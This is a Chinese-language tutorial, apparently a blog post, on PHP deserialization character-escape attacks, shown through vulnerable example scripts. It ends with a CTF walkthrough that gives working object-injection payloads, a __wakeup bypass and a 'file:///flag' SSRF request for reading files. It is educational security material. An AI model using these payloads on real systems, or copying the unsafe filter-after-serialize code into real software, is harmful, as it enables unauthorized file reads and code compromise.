PHP反序列化-字符逃逸
写在前面
字符逃逸是在反序列化的基础之上进行的,如果你不是很清楚反序列化漏洞,可以点击下方:
反序列化漏洞
摘要
普通PHP反序列化漏洞是因为用户对反序列化过程可控造成的魔法方法弹出导致的漏洞,字符逃逸不仅可以在普通反序列化漏洞之上触发魔法方法,由于过滤器的存在,还可以对payload进行构造,对反序列化的数据进行修改。
漏洞成因
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,主要原因是因为过滤函数放在了serialize函数之后。
反序列化字符串都是以";}
结束的,所以如果我们把";}
带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。程序也就会报错。
具体漏洞&举例
增长逃逸
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
$c=unserialize($res);
echo $c->pass;
?>
上述代码含义大概就是将变量AA序列化后的值中的‘bb’替换为’ccc’,随后再反序列化。
由于本身AA是不含有’bb’的,所以结果非常正常。
现在我们将$AA中的属性略加修改:
public $name='aaaabb';
同时将$res 打印出来
出现了如下结果:
我们将本身要求是长度为6的字符串变成了长度为7,它本身已经无法进行反序列化了,并且根据反序列化函数的规则,它只会检测长度为6,也就是说最后一个’c’无法检测,这样我们就逃逸了一个字符。
假设我们要使用这个逃逸的间隙来修改pass的值,那么我们的payload可以是:
";s:4:"pass";s:4:"hack";}
上述payload的长度为25,那么我们添加25个’bb’就能够逃逸25个字符了
修改成功。
这里的思想就是原字符长度+payload长度=过滤后的字符长度
由于数量的限制和闭合的存在,能够完成反序列化,同时舍弃原来的数据。
缩短逃逸
自然,过滤器除了能够增长字符串同时也能缩短字符串。
代码示例:
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
代码大概意思就是先通过get接收name,sign参数,然后通过黑名单过滤,将敏感字替换为空。
这里我们想要更改number的值
思路为在写name的参数时,本身的长度是较长的,但是由于全部替换为空,急剧缩短后unserialize()会继续向后查找,继续向后就是对sign的序列化语句了,这时,在payload中我们给出一个"
让它闭合,这样对sign的序列化语句就会被错误地认为是name的参数,而一旦sign序列化语句的数字限制被屏蔽,我们就可以按照我们所想的进行随意定义了。而number作为最后一个参数,就能够被’}提前闭合。
payload:
name=testtesttesttesttesttest&sign='hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}'
这里的理解有点绕,来看看图吧:
放入payload之后经过过滤器就变成了这样,蓝线部分是没有出错之前的序列化方法,但是很明显第一个蓝色部分的长度已经不能和24匹配。
那么,“聪明”的序列化函数就会这么想:
红色部分就是它找到的24,但是这一找,就把本身的sign序列化的54给屏蔽了。
后面下划线部分我们就可以为所欲为了,直接对sign和number参数重写。
随后直接提前截断剩余部分,完成反序列化逃逸。
部分例题来源:
https://blog.csdn.net/qq_45521281/article/details/107135706
CTF示例(bugku-web-new php)
题目源码:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
重点看到的是两个类,在evil类里$this->hint指向文件触发file_get_contents函数读取文件内容,然后提示有个hint.php,肯定要构造触发这个evil类来获得flag。查看接入点,是post进去username和password两个参数。
然后触发的是User类,有read和write方法,明显是过滤器(fliter),经过处理后才进行序列化,这就是典型的字符串逃逸。
思路:
1.判断是增长型还是缩短型。
2.按照要求写出payload。
3.按照不同类型的逃逸方法对payload字段进行字符逃逸。
4.对其他进行绕过(如__wakeup()函数)。(不是本节重点)
这里的write chr(0).’*’.chr(0) 代表 null*null
protected标志常常会出现,长度为3,而其本身难以查找,我们利用read函数,将\0\0\0长度为6缩短为长度为3,也就是缩短型。每次逃逸三个字符。
利用脚本写出payload:
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
strlen()函数获取字符串长度为:
41
这里是缩短型,通过username的缩短来屏蔽对password字符段的长度定义。
就是要屏蔽:";s:8:"password";s:41:"
…
屏蔽长度为:23
加上一个填充字符到24(能够被3整除),也就是一共缩短8组过滤字符。
那么payload(post传入):
"username":"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0",
"password":a";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},
password的第一个"a"
就是填充字符。
最后这里要对__wakeup()函数进行绕过(对__wakeup()函数绕过原理见下方),再次修改payload:
"username":"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0",
"password":a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";},
进入后得到一个base64编码的字符串:
提示在index.cgi有东西。
进入index.cgi后是一个简单的ssrf
在下方的提示下,利用name参数发出get请求,利用file协议对文件进行请求
payload为:
index.cgi?name= file:///flag
得到flag:
这里ssrf并不是我们的重点,就简单带过了。
其他
如果你想知道与反序列化漏洞相关的__wakeup()函数绕过,可以下方查看: